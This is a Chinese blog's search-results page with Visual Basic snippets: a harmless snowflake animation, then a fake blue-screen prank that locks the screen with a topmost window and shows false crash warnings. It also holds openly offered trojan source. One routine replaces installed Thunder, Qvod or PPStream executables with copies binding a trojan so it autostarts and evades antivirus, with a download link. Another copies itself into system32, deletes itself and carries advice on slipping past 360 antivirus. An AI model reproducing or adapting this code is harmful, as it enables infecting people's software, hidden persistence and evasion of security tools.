搜索到
9
篇与
的结果
-
-
VB雪花飘飘 代码如下： 添加一个timer和一个labelPrivate Sub Form_Load() Me.Caption = "雪花飘飘" Me.BackColor = RGB(100, 100, 255) Label1(0).AutoSize = True: Label1(0).BackStyle = 0 Label1(0).Caption = "*": Label1(0).ForeColor = &HFFFFFF Randomize For I = 0 To 40 If I > 0 Then Load Label1(I): Label1(I).Visible = True Label1(I).Move Me.ScaleWidth * Rnd, Me.ScaleHeight * Rnd Label1(I).Tag = Rnd * 7 - 3 & "|" & Rnd * 5 + 1 Label1(I).Font.Size = 5 + Rnd * 9 Next Label1(0).Font.Size = 9 Timer1.Enabled = True: Timer1.Interval = 50 End Sub Private Sub Timer1_Timer() Dim I As Long, S As Long, T As Single, L As Single Dim nTag As String, X As Single, y As Single, W As Single Randomize W = Label1(0).Height * 0.05 For I = 0 To Label1.Count - 1 nTag = Label1(I).Tag S = InStr(nTag, "|") X = Left(nTag, S - 1): y = Mid(nTag, S + 1) S = Int(Rnd * 10) If S = 0 Then X = Rnd * 11 - 5: Label1(I).Tag = X & "|" & y L = Label1(I).Left + X * W: T = Label1(I).Top + y * W If L < -Label1(I).Width Then L = Me.ScaleWidth If T < -Label1(I).Height Then T = Me.ScaleHeight If L > Me.ScaleWidth Then L = -Label1(I).Width If T > Me.ScaleHeight Then T = -Label1(I).Height Label1(I).Tag = Rnd * 11 - 5 & "|" & Rnd * 5 + 1 End If Label1(I).Move L, T Next End Sub
-
VB蓝屏代码-超邪恶 添加一个timer如图代码：Dim ctCi As Long, ctT As Long, ctExitT As Long, ctStr() As String, ctStrS As Long, ctExit As Boolean Private Declare Function SetWindowPos Lib "user32" (ByVal hWnd As Long, ByVal hWndInsertAfter As Long, ByVal X As Long, ByVal Y As Long, ByVal cx As Long, ByVal cy As Long, ByVal wFlags As Long) As Long Private Sub Form_Load() ctExitT = 12 '程序自动退出的时间（秒），可根据自己的喜好设定 Me.BackColor = RGB(0, 0, 255): Me.Caption = "蓝屏死机" Me.AutoRedraw = True: Me.WindowState = 2 Me.Font.Size = 21: Me.ForeColor = &HFFFFFF Timer1.Interval = 50: Timer1.Enabled = True ReDim ctStr(0 To 0) End Sub Private Sub Form_Click() If ctExit Then Unload Me End Sub Private Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single) '单击左上角 20 个像素范围 Dim S1 As Single S1 = Me.ScaleX(20, 3, Me.ScaleMode) If X > S1 Or Y > S1 Then ctCi = 0: Exit Sub ctCi = ctCi + 1 If ctCi > 4 Then Call ExitInf End Sub Private Sub ExitInf() Timer1.Enabled = False: Me.WindowState = 0: ctCi = 0: ctExit = True Me.Move Screen.Width * 0.1, Screen.Height * 0.1, Screen.Width * 0.8, Screen.Height * 0.8 ctStrS = -1 AddStr "哈哈，一个玩笑" AddStr "结束本程序：单击蓝色区任意位置" Call ShowStr End Sub Private Sub Timer1_Timer() Static Ci As Long WinInTop Me.hWnd, True '始终将窗体保持在最前面，使用户无法使用开始菜单、任务管理器，无法操作任何程序 Ci = Ci + 1 If Ci * Timer1.Interval < 1000 Then Exit Sub '保证一秒钟计数一次 Ci = 0: ctExitT = ctExitT - 1: ctT = ctT + 1 If ctExitT < 1 Then Call ExitInf: Exit Sub Select Case ctT Case 1 ctStrS = -1 AddStr "Your Windows is died" Call ShowStr Case 5 ctStrS = -1 AddStr "Windows 警告" AddStr "内存出现严重错误" Call ShowStr Case 10 To 24 ctStrS = -1 AddStr "警告" AddStr "硬盘错误，无法正常运行 Windows" AddStr "Windows 正在试图修复所有错误" AddStr "请等待 " & ctExitT & " 秒……" Call ShowStr Case 25 ctStrS = -1 AddStr "警告" AddStr "由于你使用了盗版操作系统" AddStr "微软惩罚你：定期死机" Call ShowStr Case Else If ctT > 30 Then ctT = 0 End Select End Sub Private Sub AddStr(nStr) ctStrS = ctStrS + 1 ReDim Preserve ctStr(0 To ctStrS): ctStr(ctStrS) = nStr End Sub Private Sub ShowStr() Dim I As Long, S1 As Single, Y0 As Single, Y As Single, Hj As Single S1 = Me.TextHeight("A"): Hj = 0.5 '行高和行距 Y0 = S1 * (1 + Hj) * (1 + ctStrS) - S1 * Hj Y0 = (Me.ScaleHeight - Y0) * 0.5 Me.Cls For I = 0 To ctStrS Me.CurrentX = (Me.ScaleWidth - Me.TextWidth(ctStr(I))) * 0.5 Me.CurrentY = Y0 + I * S1 * (1 + Hj) Me.Print ctStr(I) Next End Sub Private Sub WinInTop(nWnd As Long, Optional InTop As Boolean) Const HWND_NoTopMost = -2 '取消在最前 Const HWND_TopMost = -1 '最上 Const SWP_NoSize = &H1 'wFlags 参数 Const SWP_NoMove = &H2 Const SWP_NoZorder = &H4 Const SWP_ShowWindow = &H40 Const SWP_HideWindow = &H80 Dim nIn As Long If InTop Then nIn = HWND_TopMost Else nIn = HWND_NoTopMost SetWindowPos nWnd, nIn, 0, 0, 0, 0, SWP_NoSize + SWP_NoMove End Sub
-
-
VB之远控免杀之破杀软自启动 以前买了本书《终极免杀》，书还不错，主要是看中了360免杀的专题。里面就讲了这个方法来自启动。思路如下：查找系统指定软件路径（用注册表），然后把木马与主程序捆绑并替换。有些程序会自身检测。这个就要靠你自己了。源码中的资源文件放木马,源码感染的是迅雷，当然你可以改成别的！核心模块代码;Function GanRanExe(ByVal sFilePath As String) Dim MyArray() As Byte Dim CurrentSize As Long Dim FileArray() As Byte, FileArray1() As Byte Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray Close #1 Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 FileArray1 = LoadResData(101, "CUSTOM") Kill sFilePath Open sFilePath For Binary Access Write As #1 Put #1, , MyArray Put #1, , FileArray CurrentSize = LOF(1) Put #1, , FileArray1 Put #1, , "GanRanFileTbide" & UBound(MyArray) + 1 & "," & UBound(FileArray) + 1 & "," & CurrentSize & "," & UBound(FileArray1) + 1 Close #1 End Function Function FenLiGanRanExe(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(1) - 1) Get #1, FenLiXinXiSize(0) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function FenLiGanRanExe1(ByVal FenLiToFilePath As String) On Error Resume Next Dim MyArray() As Byte Dim FileArray() As Byte Dim FenLiXinXi() As String Dim FenLiXinXiSize() As String Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #1 ReDim MyArray(LOF(1) - 1) Get #1, , MyArray FenLiXinXi = Split(StrConv(MyArray, vbUnicode), "GanRanFileTbide") FenLiXinXiSize = Split(FenLiXinXi(UBound(FenLiXinXi)), ",") ReDim FileArray(FenLiXinXiSize(3) - 1) Get #1, FenLiXinXiSize(2) + 1, FileArray Close #1 Kill FenLiToFilePath Open FenLiToFilePath For Binary Access Write As #1 Put #1, 1, FileArray Close #1 End Function Function TestGanRan(ByVal sFilePath As String) As Boolean Dim FileArray() As Byte Open sFilePath For Binary Access Read As #1 ReDim FileArray(LOF(1) - 1) Get #1, , FileArray Close #1 If InStr(StrConv(FileArray, vbUnicode), "GanRanFileTbide") > 0 Then TestGanRan = True Else TestGanRan = False End If End Function Public Function ReadReg(ByVal hKey) On Error Resume Next Set pReg = CreateObject("Wscript.Shell") ReadReg = pReg.RegRead(hKey) End Function Function PanDuanpath() As Boolean On Error Resume Next Dim thunderPath thunderPath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Thunder Network\ThunderOem\thunder_backwnd\dir") If Dir(thunderPath & "\Program\Thunder.exe") <> "" Then FrmMain.Combo1.AddItem thunderPath FrmMain.Combo1.Text = thunderPath Else End If Dim Qvodpath Qvodpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\QvodPlayer\Insert\Insertpath") If Dir(Qvodpath & "/QvodPlayer.exe") <> "" Then FrmMain.Combo1.AddItem Qvodpath FrmMain.Combo1.Text = Qvodpath Else End If Dim PPSpath PPSpath = ReadReg("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\PPStream.exe\Path") If Dir(PPSpath & "/PPStream.exe") <> "" Then FrmMain.Combo1.AddItem PPSpath FrmMain.Combo1.Text = PPSpath Else End If End Function{anote icon="fa-download" href="http://pan.baidu.com/share/link?shareid=603098846&uk=1547026424" type="success" content="源码下载地址"/}
-
VB自删除+复制到系统目录 以前无聊写的声明文件复制到C盘属于敏感操作360绝对会提示或许可以先重命名为一个图片，再复制，再改后缀代码如下：Private Sub Form_Load() If Right(App.Path, 1) = "\" Then Path = App.Path ElseIf Right(App.Path, 1) <> "\" Then Path = App.Path + "\" End If If LCase(Path & App.EXEName & ".exe") <> LCase(Environ("windir") & "\system32\Jonty.exe") Then 'MsgBox Path & App.EXEName & ".exe" + vbCrLf + Environ("windir") & "\system32\Jonty.exe" FileCopy Path & App.EXEName & ".exe", Environ("windir") & "\system32\Jonty.exe" 'Shell Environ("windir") & "\system32\Jonty.exe", vbHide Call killmyself Shell Path & "killmyself.bat", vbHide End Else MsgBox "这里执行你要运行的文件" Call killmyself End End If End Sub Sub killmyself() Open App.Path & "\killmyself.bat" For Output As #1 '"@echo off" 不显示执行过程 Print #1, "@echo off" Print #1, "sleep 500" 'a.bat 删除指定文件 Print #1, "del " & App.EXEName + ".exe" 'a.bat 删除自身 Print #1, "del killmyself.bat" Print #1, "cls" Print #1, "exit" Close #1 End Sub
-
-
-
